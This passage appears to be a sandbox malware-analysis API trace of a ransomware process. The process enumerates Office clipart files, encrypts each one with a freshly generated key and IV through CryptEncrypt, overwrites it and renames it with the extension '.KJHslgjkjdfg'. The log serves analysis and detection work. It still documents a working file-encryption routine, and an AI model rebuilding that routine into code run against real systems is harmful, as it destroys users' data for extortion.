Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.051] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.051] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.051] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.051] GetProcessHeap () returned 0x990000 [0192.051] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.051] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.051] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.051] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.053] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.053] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.054] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.054] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.054] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.054] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.054] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf00, lpOverlapped=0x0) returned 1 [0192.054] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf00, dwBufLen=0xf00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf00) returned 1 [0192.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.054] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf00, lpOverlapped=0x0) returned 1 [0192.054] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.055] SetEndOfFile (hFile=0x130) returned 1 [0192.057] GetProcessHeap () returned 0x990000 [0192.057] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.057] GetProcessHeap () returned 0x990000 [0192.057] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.kjhslgjkjdfg")) returned 1 [0192.059] CloseHandle (hObject=0x130) returned 1 [0192.059] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1 [0192.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.060] GetProcessHeap () returned 0x990000 [0192.060] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.060] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.060] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.060] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0192.063] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.063] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.063] GetProcessHeap () returned 0x990000 [0192.063] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.063] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.063] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.063] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.063] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.063] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.063] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.064] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.064] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.064] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.064] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1352, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1352, lpOverlapped=0x0) returned 1 [0192.065] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1360, dwBufLen=0x1360 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1360) returned 1 [0192.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.065] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1360, lpOverlapped=0x0) returned 1 [0192.065] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.065] SetEndOfFile (hFile=0x130) returned 1 [0192.068] GetProcessHeap () returned 0x990000 [0192.068] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.068] GetProcessHeap () returned 0x990000 [0192.068] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.kjhslgjkjdfg")) returned 1 [0192.072] CloseHandle (hObject=0x130) returned 1 [0192.072] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1 [0192.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.074] GetProcessHeap () returned 0x990000 [0192.074] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.074] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.074] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0192.076] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.076] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.076] GetProcessHeap () returned 0x990000 [0192.076] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.077] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.077] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.077] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.077] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.077] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.077] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.077] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.077] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.077] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.077] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.077] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.077] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1016, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1016, lpOverlapped=0x0) returned 1 [0192.079] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1020, dwBufLen=0x1020 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1020) returned 1 [0192.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.079] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1020, lpOverlapped=0x0) returned 1 [0192.079] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.079] SetEndOfFile (hFile=0x130) returned 1 [0192.082] GetProcessHeap () returned 0x990000 [0192.082] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.082] GetProcessHeap () returned 0x990000 [0192.082] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.082] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.kjhslgjkjdfg")) returned 1 [0192.083] CloseHandle (hObject=0x130) returned 1 [0192.083] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1 [0192.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.084] GetProcessHeap () returned 0x990000 [0192.084] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.084] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.084] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0192.087] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.087] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.087] GetProcessHeap () returned 0x990000 [0192.087] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.087] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.087] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.087] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.087] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.087] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.087] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.087] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.087] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.088] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.088] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.088] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcd2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xcd2, lpOverlapped=0x0) returned 1 [0192.088] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xce0, dwBufLen=0xce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xce0) returned 1 [0192.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.088] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xce0, lpOverlapped=0x0) returned 1 [0192.088] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.088] SetEndOfFile (hFile=0x130) returned 1 [0192.089] GetProcessHeap () returned 0x990000 [0192.089] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.089] GetProcessHeap () returned 0x990000 [0192.089] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.kjhslgjkjdfg")) returned 1 [0192.090] CloseHandle (hObject=0x130) returned 1 [0192.091] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x183cef00, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x183cef00, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1 [0192.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.091] GetProcessHeap () returned 0x990000 [0192.091] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.091] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.091] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0192.093] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.093] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.094] GetProcessHeap () returned 0x990000 [0192.094] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.094] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.094] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.094] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.094] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.094] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, 